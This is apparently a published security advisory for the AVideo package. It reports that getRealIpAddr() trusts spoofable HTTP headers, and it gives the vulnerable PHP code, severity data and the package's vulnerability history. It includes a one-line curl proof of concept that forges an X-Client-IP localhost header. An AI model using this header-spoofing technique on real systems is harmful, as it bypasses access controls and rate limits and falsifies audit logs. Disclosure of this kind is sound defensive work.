Medium

AVideo vulnerable to IP Address Spoofing via Untrusted HTTP Headers in getRealIpAddr()

  • Disclosed: 25.03.2026
  • Updated: 11.10.2026 10:22

Summary

The getRealIpAddr() function in objects/functions.php trusts user-controlled HTTP headers to determine the client's IP address. An attacker can spoof their IP address by sending forged headers, bypassing any IP-based access controls or audit logging.

Vulnerable Code

File: objects/functions.php

php
$headers = [
    'HTTP_X_REAL_IP',      
    'HTTP_CLIENT_IP',    
    'HTTP_X_FORWARDED_FOR',
    'REMOTE_ADDR'
];

foreach ($headers as $header) {
    if (!empty($_SERVER[$header])) {
        $ips = explode(',', $_SERVER[$header]);
        foreach ($ips as $ipCandidate) {
            $ipCandidate = trim($ipCandidate);
            if (filter_var($ipCandidate, FILTER_VALIDATE_IP, 
                           FILTER_FLAG_IPV4)) {
                return $ipCandidate; 
            }
        }
    }
}

Attack Scenario

  1. Attacker sends request with forged header:
X-Client-IP: 127.0.0.1

or

X-Real-IP: 192.168.1.1
  1. getRealIpAddr() returns the forged IP
  2. Any IP-based rate limiting, access control, or audit log that relies on this function is bypassed

Proof of Concept

bash
curl -H "X-Client-IP: 127.0.0.1" \
     https://target.com/any_endpoint.php

The server now believes the request came from localhost.

Impact

  • Bypass IP-based rate limiting
  • Bypass IP-based access controls
  • Forge audit log entries
  • Potential privilege escalation if localhost is trusted

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package wwbn/avideo <= 26.0 no fix

References

CVSS score 5.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness (CWE)
CWE-348
Platform
Composer
Package
wwbn/avideo
Disclosed
25.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-8p2x-5cpm-qrqw - CC BY 4.0

Vulnerability history: wwbn/avideo

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (160) in the archive
Total entries
160
First → latest
04.2022 06.2026
Without a fix
143
Exploited in attacks
0

Severity breakdown

  • Critical 14
  • High 61
  • Medium 83
  • Low 2

Disclosures per year

  1. 2022: 2
  2. 2023: 5
  3. 2024: 5
  4. 2025: 0
  5. 2026: 148
Severity:
  1. High · 9.8 CVE-2026-41304 <= 29.0 no fix
  2. Critical CVE-2026-33867 <= 26.0 no fix
  3. AVideo vulnerable to IP Address Spoofing via Untrusted HTTP Headers in getRealIpAddr() this entry
    Medium · 5.3 CVE-2026-33690 <= 26.0 no fix
  4. Critical · 9.3 CVE-2026-33502 <= 26.0 no fix
Show more (16) Showing 60 of 76

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